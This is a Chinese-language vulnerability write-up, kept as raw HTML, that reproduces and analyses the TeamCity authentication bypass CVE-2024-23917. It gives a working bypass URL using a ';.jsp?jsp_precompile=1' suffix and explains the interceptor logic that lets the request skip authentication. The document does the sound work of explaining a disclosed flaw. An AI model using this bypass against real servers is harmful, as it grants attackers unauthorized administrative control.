style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">本文简单分析了三个身份验证绕过的漏洞CVE-2024-23917、CVE-2024-27198、CVE-2024-27199。</span></span></span></p><p><span style="mso-bookmark:简介;"></span><span style="outline: 0px;font-size: 18px;visibility: visible;"><strong style="outline: 0px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;letter-spacing: 0.578px;visibility: visible;">1-2. 环境搭建</strong></span></p><p><span style="mso-bookmark:前言;"><span style="mso-bookmark:环境搭建;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">下载地址：</span></span></span><span style="mso-bookmark:前言;"><span style="mso-bookmark:环境搭建;"><span style="font-size:12.0pt;font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;text-underline:none;text-decoration:none;"><a href="https://blog.jetbrains.com/teamcity/2024/02/critical-security-issue-affecting-teamcity-on-premises-cve-2024-23917/" target="_blank">https://blog.jetbrains.com/teamcity/2024/02/critical-security-issue-affecting-teamcity-on-premises-cve-2024-23917/</a></span></span></span><span style="mso-bookmark:前言;"><span style="mso-bookmark:环境搭建;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:前言;"><span style="mso-bookmark:环境搭建;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">下载对应版本的 TeamCity，按引导进行安装。</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:前言;"><span style="mso-bookmark:环境搭建;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">创建管理员账号。</span></span></span>    <o:page></o:page></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:前言;"><span style="mso-bookmark:环境搭建;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="536" data-backw="560" data-imgfileid="100004915" data-ratio="0.9577039274924471" width="560.010009765625" data-type="png" data-w="662" height="536.3200073242188" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=1046e8f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDrf2RubgOkjibJTOMrzMSpoSewaGVhCsvoPicRLz73kU5GDdM0Y2YBphrzaAfRxg5I0CXGF8lrdZw%2F640%3Fwx_fmt%3Dpng"/></span></span></span><span style="mso-bookmark:前言;"><span style="mso-bookmark:环境搭建;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p><span style="mso-bookmark:前言;"></span><span style="mso-bookmark:环境搭建;"></span><span style="outline: 0px;color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-decoration: underline;visibility: visible;">2. CVE-2024-23917</span></p><section style="margin-bottom: 16px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;visibility: visible;">官方公告</strong></section><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="font-size:12.0pt;font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;text-underline:none;text-decoration:none;"><a href="https://blog.jetbrains.com/teamcity/2024/02/critical-security-issue-affecting-teamcity-on-premises-cve-2024-23917/" target="_blank">https://blog.jetbrains.com/teamcity/2024/02/critical-security-issue-affecting-teamcity-on-premises-cve-2024-23917/</a></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;visibility: visible;">漏洞描述</strong><span style="mso-bookmark:cve-2024-23917;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">该漏洞会使未经身份验</span></span><span style="mso-bookmark:cve-2024-23917;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">证的攻击者能够通过 HTTP(S) 访问 TeamCity 服务器来绕过身份验证检查并获得对该 TeamCity 服务器的管理控制。</span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;visibility: visible;">影响版本</strong><span style="mso-bookmark:cve-2024-23917;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">2023.11.2 及之前版本</span></span>    <o:page></o:page></p><p><span style="outline: 0px;font-size: 18px;visibility: visible;"><strong style="outline: 0px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;letter-spacing: 0.578px;visibility: visible;">2-1. 漏洞复现</strong></span></p><section style="margin-bottom: 8px;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞复现;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">未登录状态下访问</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">/app/rest/server</span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞复现;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">会跳转到登录页面，需要进行身份验证。</span></span></span></section><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞复现;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="186" data-backw="560" data-imgfileid="100004916" data-ratio="0.3316008316008316" width="560.010009765625" data-type="png" data-w="962" height="185.69998168945312" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=3637c4ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDrf2RubgOkjibJTOMrzMSpezuPjT4SMQsqqt3ssLM4dQfrS8ickwQqKIicmMtKGVicnTaI3CDibfTl1Q%2F640%3Fwx_fmt%3Dpng"/></span></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞复现;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞复现;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">构造 URL 为</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">/app/rest/server;.jsp?jsp_precompile=1</span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞复现;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">，能绕过身份验证，成功获取到目标内容。</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞复现;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="265" data-backw="560" data-imgfileid="100004919" data-ratio="0.47236704900938475" width="560.010009765625" data-type="png" data-w="959" height="264.5299987792969" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=f79b22a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDrf2RubgOkjibJTOMrzMSpwA928qwNbtrdENia4N2xd0c3Wtjmjdg8ofichAgBS9xFZHvSC9sCIrSg%2F640%3Fwx_fmt%3Dpng"/></span></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞复现;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p><span style="mso-bookmark:漏洞复现;"></span><span style="outline: 0px;font-size: 18px;visibility: visible;"><strong style="outline: 0px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;letter-spacing: 0.578px;visibility: visible;">2-2. 漏洞分析</strong></span></p><section style="margin-bottom: 8px;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">在 buildServerSpringWeb.xml 中列出了不需要身份认证就能访问的路径；</span></span></span>  <o:page></o:page></section><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="386" data-backw="560" data-imgfileid="100004918" data-ratio="0.6900866217516843" width="560.010009765625" data-type="png" data-w="1039" height="386.45001220703125" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=1f0b9921&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDrf2RubgOkjibJTOMrzMSpLZtsaD7JpDBIV7xcmE1SV844KWggJtEXZgGaBYw5md0ibYJTdmHGZ6g%2F640%3Fwx_fmt%3Dpng"/></span></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">jetbrains.buildServer.server.rest.APIController 中声明了</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">/app/rest/</span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">路径下的&#34;/builds/</span></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;font-style:italic;mso-bidi-font-style:italic;">/statusIcon</span></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">&#34;, &#34;/builds/aggregated/</span></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;font-style:italic;mso-bidi-font-style:italic;">/statusIcon</span></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">&#34;, &#34;/server/version&#34;, &#34;/version&#34;, &#34;/apiVersion&#34;, &#34;/swagger**&#34;, &#34;/server/nodes&#34;这些不需要身份认证。</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">声明了 MVC 用到的拦截器，其中 AuthorizationInterceptorImpl 是进行身份校验的拦截器。</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="185" data-backw="560" data-imgfileid="100004917" data-ratio="0.32979749276759884" width="560.010009765625" data-type="png" data-w="1037" height="184.69000244140625" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=2b785f34&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDrf2RubgOkjibJTOMrzMSpSmQmY6qEkfH4M67W5k06fibTDtkfl8Afy9SIiaR1sVeX9ntFfGqibbKIA%2F640%3Fwx_fmt%3Dpng"/></span></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">进入 RequestInterceptors 拦截器，会进行一个 if 判断，若判断为 false 则会进入 else 遍历它下面的其他拦截器，进而调用到 AuthorizationInterceptorImpl。</span></span></span>    <o:page></o:page></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="386" data-backw="560" data-imgfileid="100004922" data-ratio="0.6886517943743938" width="560.010009765625" data-type="png" data-w="1031" height="385.6499938964844" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=e1ecf743&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDrf2RubgOkjibJTOMrzMSpJwq89QmovEMTenWC1iaZ5oVvh4mhsia7Da0gdkpziaPcS91Pyg4Bg1piag%2F640%3Fwx_fmt%3Dpng"/></span></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">若要 if 判断为真，则</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">this.requestPreHandlingAllowed(request)</span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">需返回 false。</span></span></span><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;visibility: visible;"><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);"></span></strong></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">看一下 requestPreHandlingAllowed() 方法，if 中调用了 WebUtil.isJspPrecompilationRequest() ，返回结果是由 URI 决定的。从请求中获取 URI ，若是以</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">.jsp</span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">或</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">.jsp</span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">f</span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">结尾的，并且传入的</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">jsp_precompile</span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">参数不为 null，就返回 true，进而 requestPreHandlingAllowed() 返回 false。</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">或者进入 else 分支，满足请求路径与</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">this.myPreHandlingDisabled</span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">中的相匹配，也会返回 false，不过这里访问路径有限制，不如 if 条件的选择自由。</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><span style="mso-spacerun:yes;"> </span>requestPreHandlingAllowed() 返回 false，不用遍历子拦截器，也就避免了进行身份验证。</span></span></span>    <o:page></o:page></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="241" data-backw="560" data-imgfileid="100004923" data-ratio="0.43023255813953487" width="560.010009765625" data-type="png" data-w="946" height="240.92999267578125" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=f6da41b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDrf2RubgOkjibJTOMrzMSp4wcPdnpBEV9ruPXAicffibMHEsh73V8fRPekPFTLyc0VQD0RCIzjtnLA%2F640%3Fwx_fmt%3Dpng"/></span></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">TeamCity 提供 REST API，用于集成外部应用程序并创建与 TeamCity 服务器的脚本交互。它允许通过 URL 路径访问资源（</span></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;font-style:italic;mso-bidi-font-style:italic;">实体</span></span></span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">）。</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">访问</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">/app/rest/swagger.json</span><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">可以获取到端点列表与格式，以及功能描述。</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-23917;"><span style="mso-bookmark:漏洞分析;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="288" data-backw="560" data-imgfileid="100004920" data-ratio="0.5135416666666667" width="560.010009765625" data-type="png" data-w="960" height="287.5899963378906" style="width: 100%;height: auto;" 